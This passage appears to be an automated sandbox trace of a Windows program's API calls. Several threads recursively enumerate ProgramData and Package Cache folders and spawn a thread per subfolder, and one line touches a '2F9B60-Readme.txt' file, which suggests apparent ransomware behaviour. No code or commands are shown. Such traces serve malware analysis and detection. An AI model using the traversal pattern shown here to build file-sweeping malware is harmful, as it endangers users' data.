(lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\2f9b60-readme.txt")) returned 0x20 [0226.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5c40) returned 1 [0226.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 Thread: id = 807 os_tid = 0x1380 [0099.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e950 [0099.108] wcscpy (in: _Dest=0x1b86e950, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" [0099.108] wcscat (in: _Dest=0x1b86e950, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\" [0099.108] wcscat (in: _Dest=0x1b86e950, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*" [0099.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58030 [0099.108] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc10 [0099.241] wcscmp (_String1=".", _String2=".") returned 0 [0099.241] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.241] wcscmp (_String1="..", _String2=".") returned 1 [0099.241] wcscmp (_String1="..", _String2="..") returned 0 [0099.241] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0099.242] wcscmp (_String1="Windows", _String2=".") returned 1 [0099.242] wcscmp (_String1="Windows", _String2="..") returned 1 [0099.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866ac0 [0099.242] wcscpy (in: _Dest=0x1b866ac0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" [0099.242] wcscat (in: _Dest=0x1b866ac0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\" [0099.242] wcscat (in: _Dest=0x1b866ac0, _Source="Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" [0126.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b866ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1528 [0126.671] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0126.671] FindClose (in: hFindFile=0x1cd9dc10 | out: hFindFile=0x1cd9dc10) returned 1 [0126.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58030) returned 1 [0126.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e950) returned 1 [0126.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a33b0) returned 1 Thread: id = 808 os_tid = 0x1384 [0099.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd9d0d0 [0099.110] wcscpy (in: _Dest=0x1cd9d0d0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp" [0099.110] wcscat (in: _Dest=0x1cd9d0d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\" [0099.110] wcscat (in: _Dest=0x1cd9d0d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*" [0099.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce578e0 [0099.110] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9df70 [0099.244] wcscmp (_String1=".", _String2=".") returned 0 [0099.244] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.244] wcscmp (_String1="..", _String2=".") returned 1 [0099.244] wcscmp (_String1="..", _String2="..") returned 0 [0099.244] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0099.244] FindClose (in: hFindFile=0x1cd9df70 | out: hFindFile=0x1cd9df70) returned 1 [0099.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce578e0) returned 1 [0099.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d0d0) returned 1 [0099.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8586d0) returned 1 Thread: id = 809 os_tid = 0x1388 [0099.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106c40 [0099.111] wcscpy (in: _Dest=0x106c40, _Source="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" [0099.111] wcscat (in: _Dest=0x106c40, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\" [0099.111] wcscat (in: _Dest=0x106c40, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*" [0099.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58c60 [0099.111] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9daf0 [0099.111] wcscmp (_String1=".", _String2=".") returned 0 [0099.111] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.112] wcscmp (_String1="..", _String2=".") returned 1 [0099.112] wcscmp (_String1="..", _String2="..") returned 0 [0099.112] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0099.112] wcscmp (_String1="x64", _String2=".") returned 1 [0099.112] wcscmp (_String1="x64", _String2="..") returned 1 [0099.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1076c0 [0099.112] wcscpy (in: _Dest=0x1076c0, _Source="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" [0099.112] wcscat (in: _Dest=0x1076c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\" [0099.112] wcscat (in: _Dest=0x1076c0, _Source="x64" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" [0129.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1076c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe4 [0129.893] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0129.894] FindClose (in: hFindFile=0x1cd9daf0 | out: hFindFile=0x1cd9daf0) returned 1 [0129.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58c60) returned 1 [0129.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 [0129.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 Thread: id = 810 os_tid = 0x138c [0099.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106b80 [0099.113] wcscpy (in: _Dest=0x106b80, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" [0099.113] wcscat (in: _Dest=0x106b80, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\" [0099.113] wcscat (in: _Dest=0x106b80, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*" [0099.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58510 [0099.113] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d490 [0099.238] wcscmp (_String1=".", _String2=".") returned 0 [0099.238] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.238] wcscmp (_String1="..", _String2=".") returned 1 [0099.238] wcscmp (_String1="..", _String2="..") returned 0 [0099.238] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0099.238] wcscmp (_String1="x64", _String2=".") returned 1 [0099.238] wcscmp (_String1="x64", _String2="..") returned 1 [0099.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107600 [0099.238] wcscpy (in: _Dest=0x107600, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" [0099.238] wcscat (in: _Dest=0x107600, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\" [0099.238] wcscat (in: _Dest=0x107600, _Source="x64" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" [0127.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x107600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1524 [0127.696] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0127.696] FindClose (in: hFindFile=0x1cd9d490 | out: hFindFile=0x1cd9d490) returned 1 [0127.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58510) returned 1 [0127.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106b80) returned 1 [0127.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 Thread: id = 811 os_tid = 0x1390 [0099.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1b7997f0 [0099.115] wcscpy (in: _Dest=0x1b7997f0, _Source="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" [0099.115] wcscat (in: _Dest=0x1b7997f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\" [0099.115] wcscat (in: _Dest=0x1b7997f0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*" [0099.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0099.115] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.115] wcscmp (_String1=".", _String2=".") returned 0 [0099.115] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.115] wcscmp (_String1="..", _String2=".") returned 1 [0099.115] wcscmp (_String1="..", _String2="..") returned 0 [0099.115] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.115] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.115] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.116] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.116] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0099.116] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0099.116] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.116] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0099.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0099.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7997f0) returned 1 [0099.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798260) returned 1 Thread: id = 812 os_tid = 0x1394 [0099.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1b798260 [0099.118] wcscpy (in: _Dest=0x1b798260, _Source="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" [0099.118] wcscat (in: _Dest=0x1b798260, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\" [0099.118] wcscat (in: _Dest=0x1b798260, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" [0099.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0099.119] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.119] wcscmp (_String1=".", _String2=".") returned 0 [0099.119] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: 